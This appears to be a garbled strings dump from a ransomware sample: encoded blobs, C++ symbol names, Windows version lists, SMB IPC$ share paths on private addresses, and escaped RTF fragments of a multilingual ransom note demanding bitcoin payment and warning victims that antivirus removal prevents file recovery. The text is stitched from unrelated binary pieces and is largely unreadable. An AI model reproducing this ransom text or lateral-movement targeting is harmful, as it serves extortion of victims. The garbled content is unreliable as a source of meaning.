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 8*))c0![ 91jyBCesh5VGztKgjVipGxT9yXUE1BaFRwj8wqX0bcxODIw3tQu82dmScncU+OZpO4dME1XXSf2HK4kn0PfvtTBjRTWiojF90GXIlMfBLdmoPLTCUoJIMa2hX4JCLaItYUbNiFBVRQMsd5goPpRAkks6sBz6mEa0HWVxcyue8x7j73iRFyf5GGvog1W2q80GVhaMfKbhFwpqCcgsDGcIISyPz1QXWJktidU9PN7yBFHUElW2kZFuk4LhQndbvNFK7Raj1sTQiOHy+Ke4/K1MhuwWB1M7HL27Phjl3IgKiu9HahLjaOGbu/PKGPgl7VCEmE8iBvReqebk3T1TTW6rn41P0hlo+lZz1zURq/qZtKeLDvy039c6ZM5dodg 9j1MVh90zMBJK46TU8otxH+QyRypl1gLUR84ekXdh1O/zJilI9DBTj67LIG1NtO6bEti0APLCcWaQ06vgvTtMOzIHvpPgk3MHgrC9VgTwOb5sYhsVBj3oBC1L2KQXHAza+9UBML8RXx3AbWmbNv7wtGvBJ/2NlQXGEXm5G3Ecjp/i/COEUJzljxZ5ueMaaqdDj0/WXK9d/UQiHT742mCLfi/SkPkd+STSCcsLdwZ7vHDF4txL5Pa2W3ArpVLhQRoU/mNqVIyObXCm6O2atx6H7k9hHfYxX2btGBO4e9Wyz+KrieA6wXQSAIERL1SDoEq0ScCwzoUrrlcYVi+9wdjVuPzY6wN28tmhiYO7Q+UFFfP/bcJ4FTPy5qnpEnX6v+n88x+C1TSRKCzHZ9osGZF3WtNaDyBIirDNBcOtpV0TcMLaoZiSGg7YW1BrYdfwMKBsYuKJRWwZkhWE+eFof/Ewh9W8LWe7JEzAvvJYtQ7NvSw+c9ESHesxkplngceIndRgnvCLX7wXm3hfa4vmNWdsNkYmogq2NlyqNwIoati8rcwQ6B69YaXTZBG1wXqRaLa7lUDf0Irv1081m+qjzOr4bdHkla/uduD62SY1Oe4sfNcUHLpDtHW05OCUj7HyIV1cOr2a : 9:00 am - 11:00 am GMT \\'f1\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\'ed\\'e5\\'e4\\'e5\\'eb\\'fc\\'ed\\'e8\\'ea\\'e0\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\loch\\f31529 \\hich\\f31529 \\'ef\\'ff\\'f2\\'ed\\'e8\\'f6\\'f3. ;.?.3,r](Xd Windows 10 --> Windows 8.1 --> Windows Vista --> }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25353\\'88\\'c2}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 ??0_Lockit@std@@QAE@XZ ??0exception@@QAE@ABQBD@Z ??0exception@@QAE@ABV0@@Z ??1_Lockit@std@@QAE@XZ ??1type_info@@UAE@XZ c2\ \\af53\\afs22 \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 m n\\'e0\\loch\\f31502 y t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p tin c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'3f}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 d}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20006\\'95\\'c0\ \\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf\ \\af41\\afs22 \\'81\\'46}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20184\\'95\\'74\ 22312\\'8d\\'dd\ \\af36\\afs22 \\ltrch\\fcs0 24460\\'8c\\'e3\ \\af12\\afs22 \\ltrch\\fcs0 -27253\\'8a\\'4a\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 20102\\'97\\'b9}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 26684\\'8a\\'69\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 -24901\\'96\\'83\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 c1\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 20123\\'8d\\'b1\ \\af12\\afs22 \\ltrch\\fcs0 24674\\'89\\'f8\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 -32515\\'94\\'5c\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 \\'97\\'b9}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 -27036\\'8f\\'9c\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244 \\'a1\\'43}{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 -32515\\'af\\'e0\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 31649\\'ba\\'de\ c1\ c1\ \\af90\\afs22 c1\ \\af90\\afs22 \\ltrch\\fcs0 27861\\'aa\\'6b\ c2\ 21051\\'a8\\'e8\ \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 -30549\\'b3\\'51\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 27963\\'ac\\'a1\ -244\\'a1\\'41\ c1\ 23450\\'a9\\'77\ 12290\\'a1\\'43}{\\rtlch\\fcs1 \\af53\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 c1\ 24744\\'b1\\'7a\ \\af90\\afs22 \\ltrch\\fcs0 c1\ 27491\\'a5\\'bf\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 -30335\\'ad\\'6e\ \\'e0\\'e6\\'ec\\'e8\\'f2\\'e5\\loch\\f31529 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8528114 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\'e0\\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ed\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'ee\\'e2. \\'e2\\'e8\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\'e8\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 \\'e1\\'e5\\'e7\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'f8\\'e5\\'e9\\loch\\f31529 \\hich\\f31529 \\'f1\\'eb\\'f3\\'e6\\'e1\\'fb \\'e2\\'ee\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\'f0\\'e5\\'ec\\'ff\\loch\\f31529 \\hich\\f31529 . \\'cd\\'e8\\'ea\\'f2\\'ee\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'ec\\'ee\\'e6\\'e5\\'f2\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee \\'e2\\'f0\\'e5\\'ec\\'e5\\'ed\\'e8. \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ed\\'ff\\'f2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\'e8\\'f1\\'ea\\'ee\\'ec\\loch\\f31529 \\hich\\f31529 \\'f1\\'ef\\'ee\\'f1\\'ee\\'e1\\'e0\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee\\'e2\\'eb\\'e5\\'ed\\'e8\\'ff \\'e3\\'ee\\loch\\f31529 \\hich\\f31529 \\'f6\\'e5\\'ed\\'e0\\loch\\f31529 \\hich\\f31529 \\'e1\\'f3\\'e4\\'e5\\'f2\\loch\\f31529 \\hich\\f31529 \\'f3\\'e4\\'e2\\'ee\\'e5\\'ed\\'e0. \\'e3\\loch\\f31502 y g}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\'e3\\loch\\f31528 nu elimina}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\'e5\\loch\\f31529 \\hich\\f31529 \\'ee\\'e1\\'e5\\'f1\\'ef\\'e5\\'f7\\'e5\\'ed\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 \\'e8\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\'ea\\'ee\\'f2\\'ee\\'f0\\'ee\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\'f0\\'e5\\'ec\\'ff\\loch\\f31529 \\hich\\f31529 \\'ee\\'f2\\'ea \\'e6\\loch\\f31528 \\hich\\f31528 go przez pewien czas, dop\\'f3\\loch\\f31528 \\hich\\f31528 ki nie zap\\'b3\\loch\\f31528 \\hich\\f31528 acisz, a p\\'b3\\loch\\f31528 \\hich\\f31528 atno\\'9c\\'e6\\loch\\f31528 \\hich\\f31528 zostanie przetworzona. Je\\'9c\\loch\\f31528 \\'e7\\'e0\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2\\'e0\\'ed\\'fb. \\'e8\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'e8\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'ee\\'e1\\'f0\\'e0\\'e1\\'ee\\'f2\\'e0\\'e5\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'ef\\'eb\\'e0\\'f2\\'e5\\'e6\\loch\\f31529 \\hich\\f31529 . \\'c5\\'f1\\'eb \\'e9\\loch\\f31502 \\hich\\f31502 t\\'e9\\loch\\f31502 \\hich\\f31502 chiffr\\'e9\\loch\\f31502 \\hich\\f31502 s. Peut-\\'ea\\loch\\f31502 \\hich\\f31502 tre que vous \\'ea\\loch\\f31502 \\hich\\f31502 tes occup\\'e9\\loch\\f31502 \\hich\\f31502 \\'e0\\loch\\f31502 \\hich\\f31502 \\'ea\\'ee\\loch\\f31529 \\hich\\f31529 \\'e2\\loch\\f31529 \\hich\\f31529 \\'e1\\'e8\\'f2\\'ea\\'ee\\'e9\\'ed\\'e0\\'f5\\loch\\f31529 \\hich\\f31529 . \\'c4\\'eb\\'ff\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\'eb\\'f3\\'f7\\'e5\\'ed\\'e8\\'ff\\loch\\f31529 \\hich\\f31529 \\'e4\\'ee\\'ef\\'ee\\'eb \\'eb\\'e0\\'f2\\'e8\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\loch\\f31529 \\hich\\f31529 \\'f2\\'e5\\'f7\\'e5\\'ed\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 7 \\'e4\\'ed\\'e5\\'e9\\loch\\f31529 \\hich\\f31529 , \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'eb\\'e0\\'f2\\'e8\\'f2\\'fc. \\'eb\\'fe\\'f7\\'e0\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'e0\\'ed\\'f2\\'e8\\'e2\\'e8\\'f0\\'f3\\'f1\\loch\\f31529 \\hich\\f31529 , \\'ef\\'ee\\'ea\\'e0\\loch\\f31529 \\hich\\f31529 \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ef\\'eb\\'e0\\'f2 \\'ed\\'e0\\loch\\f31529 \\hich\\f31529 , \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ec\\'ee\\'e6\\'e5\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'f0\\'e0\\'e7\\'f3\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'f7\\'e0\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'e4\\'e5\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2 \\'ed\\'e4\\'f3\\'e5\\'ec\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'ec\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'f3\\'e4\\'e0\\'eb\\'ff\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'fd\\'f2\\'ee\\loch\\f31529 \\hich\\f31529 \\'ef\\'f0\\'ee\\'e3\\'f0\\'e0\\'ec\\'ec\\'ed\\'ee \\'ed\\'e8\\'f2\\'e5\\'eb\\'fc\\'ed\\'ee\\'e9\\loch\\f31529 \\hich\\f31529 \\'e8\\'ed\\'f4\\'ee\\'f0\\'ec\\'e0\\'f6\\'e8\\'e8\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'e6\\'ec\\'e8\\'f2\\'e5\\loch\\f31529 . \\'ed\\loch\\f31502 \\hich\\f31502 rus \\'e9\\loch\\f31502 \\hich\\f31502 atualizado e remove este software automaticamente, ele n\\'e3\\loch\\f31502 \\hich\\f31502 o ser\\'e1\\loch\\f31502 \\hich\\f31502 capaz de recuperar seus arquivos mesmo se voc\\'ea\\loch\\f31502 \\'ee\\'e1\\'e5\\'f1\\'ef\\'e5\\'f7\\'e5\\'ed\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 , \\'ee\\'ed\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'ec\\'ee\\'e6\\'e5\\'f2\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee\\'e2\\'e8\\'f2\\'fc\\loch\\f31529 \\'ee\\'e1\\'fb\\loch\\f31529 \\hich\\f31529 \\'ee\\'f2\\'ef\\'f0\\'e0\\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'e2\\'e8\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'ef\\'eb\\'e0\\'f2\\'e5\\'e6\\loch\\f31529 \\hich\\f31529 . \\'cf\\'ee\\'f1\\'eb\\'e5\\loch\\f31529 \\hich\\f31529 \\'fd\\'f2\\'ee \\'ee\\'e3\\'f0\\'e0\\'f4\\'e8\\'e9\\loch\\f31529 \\hich\\f31529 , \\'e2\\'e8\\'e4\\'e5\\'ee\\loch\\f31529 \\hich\\f31529 , \\'e1\\'e0\\'e7\\loch\\f31529 \\hich\\f31529 \\'e4\\'e0\\'ed\\'ed\\'fb\\'f5\\loch\\f31529 \\hich\\f31529 \\'e8\\loch\\f31529 \\hich\\f31529 \\'e4\\'f0\\'f3\\'e3\\'e8\\'f5 \\'f1\\'ec\\'ee\\'e6\\'e5\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee\\'e2\\'e8\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'e2\\'f1\\'e5\\'e3\\'e4\\'e0. \\'f2\\'e5\\loch\\f31529 ! \\'f2\\'e8\\'ff\\loch\\f31529 \\hich\\f31529 \\'e4\\'eb\\'ff\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\'eb\\'fc\\'e7\\'ee\\'e2\\'e0\\'f2\\'e5\\'eb\\'e5\\'e9\\loch\\f31529 \\hich\\f31529 , \\'ea\\'ee\\'f2\\'ee\\'f0\\'fb\\'e5\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'f1\\'f2\\'ee\\'eb\\'fc\\'ea\\'ee \\'f2\\'ee\\'ec\\loch\\f31529 \\hich\\f31529 \\'ee\\'ea\\'ed\\'e5. \\'f8\\'e0\\loch\\f31529 \\hich\\f31529 \\'ef\\'ee\\'ec\\'ee\\'f9\\'fc\\loch\\f31529 \\hich\\f31529 , \\'ee\\'f2\\'ef\\'f0\\'e0\\'e2\\'fc\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'ee\\'ee\\'e1\\'f9\\'e5\\'ed\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 , \\'ed\\'e0\\'e6\\'e0\\'e2\\loch\\f31529 <}{ \\'fc\\loch\\f31529 . \\\\172.16.99.5\\IPC$ \\\\192.168.56.20\\IPC$ \\af11\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -24900\\'9b\\'f5\ \\af36\\afs22 \\ltrch\\fcs0 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -24900\\'9b\\'f5\ \\af36\\afs22 \\ltrch\\fcs0 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 19981\\'95\\'73\ \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -32515\\'94\\'5c}{\\rtlch\\fcs1 \\af18\\afs22 \\ltrch\\fcs0 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22914\\'94\\'40\ \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af12\\dbch\\af12\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af12\\dbch\\f12 20839\\'d2\\'ae}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 l\\'fd\\loch\\f31502 . N}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 